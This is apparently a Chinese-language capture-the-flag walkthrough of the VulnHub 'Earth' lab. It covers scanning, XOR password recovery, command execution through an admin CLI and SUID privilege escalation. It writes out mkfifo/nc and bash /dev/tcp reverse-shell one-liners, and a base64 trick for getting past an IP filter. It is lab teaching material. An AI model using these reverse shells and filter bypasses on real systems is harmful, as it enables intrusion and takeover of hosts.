VulnHub靶机之earth
字数 1221 2025-08-10 20:35:57
VulnHub靶机Earth渗透测试教学文档
一、靶机信息
- 靶机名称:Earth
- 难度等级:中级
- 涉及技术:信息收集、加密解密、Web渗透、权限提升
- 主要漏洞:XOR加密破解、SUID提权
二、信息收集阶段
1. 初始扫描
使用nmap进行端口扫描:
nmap -sV 10.9.46.117
扫描结果:
- 80端口:HTTP (Apache 2.4.51)
- 443端口:HTTPS
- 22端口:SSH
- 服务器插件:mod_wsgi 4.7.1/Python 3.9
2. 域名解析配置
发现直接通过IP访问会返回400错误,需要配置本地hosts文件:
10.9.46.117 earth.local
10.9.46.117 terratest.earth.local
3. Web服务探测
访问以下两个域名:
- https://earth.local
- https://terratest.earth.local
4. 目录扫描
使用工具(如dirsearch、gobuster)扫描两个域名的目录:
gobuster dir -u https://terratest.earth.local -w /path/to/wordlist.txt
gobuster dir -u https://earth.local -w /path/to/wordlist.txt
在terratest.earth.local发现的重要信息:
- RSA和XOR加密算法相关信息
- 地球页面包含加密字符串
- ageststdata.txt文件(用于测试加密)
- 管理门户用户名:terra
三、加密解密分析
1. 解密过程
- 获取地球页面的16进制字符串
- 结合页面中的地质学文本作为密钥:
"根据放射性测年法估计和其他证据,地球形成超过45亿年以前的事了。在地球历史的最初10亿年里,生命出现在海洋中,并开始繁衍影响地球的大气和表面,导致厌氧生物和后来的好氧生物的增殖生物。一些地质证据表明,生命可能早在41亿年前就出现了前"
- 使用XOR算法解密得到字符串:
earthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimat
- 提取有效密码:
earthclimatechangebad4humans
四、Web渗透
1. 登录管理界面
使用获取的密码earthclimatechangebad4humans登录管理CLI
2. 命令执行验证
在CLI中测试基本命令:
whoami
uname -a
find / -perm -u=s -type f 2>/dev/null
3. 反弹Shell绕过
由于直接使用nc反弹shell被IP过滤,采用base64编码绕过:
- 准备反弹shell命令:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.101 4444 >/tmp/f
- Base64编码:
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.101 4444 >/tmp/f" | base64
- 执行编码后的命令:
echo "encoded_base64_string" | base64 -d | bash
五、权限提升
1. SUID提权分析
查找具有SUID权限的可执行文件:
find / -perm -u=s -type f 2>/dev/null
发现可疑文件:
/usr/bin/reset_root
2. reset_root分析
- 直接运行:
/usr/bin/reset_root
显示"Resetting root password..."但无实际效果
- 使用strace动态分析:
strace /usr/bin/reset_root
发现程序尝试访问以下文件:
/dev/shm/kHgTFI5G
/dev/shm/Zw7bV9U5
/tmp/kcM0Wewe
- 创建缺失文件:
touch /dev/shm/kHgTFI5G /dev/shm/Zw7bV9U5 /tmp/kcM0Wewe
- 再次运行reset_root:
/usr/bin/reset_root
成功将root密码重置为"Earth"
3. 获取root权限
su root
密码:Earth
六、技术总结
1. 关键知识点
-
加密解密:
- XOR加密算法应用
- 结合上下文信息作为解密密钥
- 在线解密工具的使用
-
Web渗透:
- Hosts文件配置绕过访问限制
- 管理界面命令注入
- Base64编码绕过过滤
-
权限提升:
- SUID权限利用
- 二进制文件动态分析(strace)
- 环境操控提权
2. 渗透流程
- 信息收集 → 2. 加密破解 → 3. Web渗透 → 4. 反弹Shell → 5. 权限提升
3. 防御建议
- 限制SUID权限的二进制文件
- 加强管理界面的输入过滤
- 避免使用可预测的加密模式
- 定期检查服务器上的异常文件
七、附录
1. 常用命令参考
# 查找SUID文件
find / -perm -u=s -type f 2>/dev/null
# Base64编码反弹shell
echo "bash -i >& /dev/tcp/10.0.0.1/4242 0>&1" | base64
# 动态分析二进制文件
strace /path/to/binary
2. 资源链接
- XOR在线解密工具
- Base64编码/解码工具
- SUID提权技术文档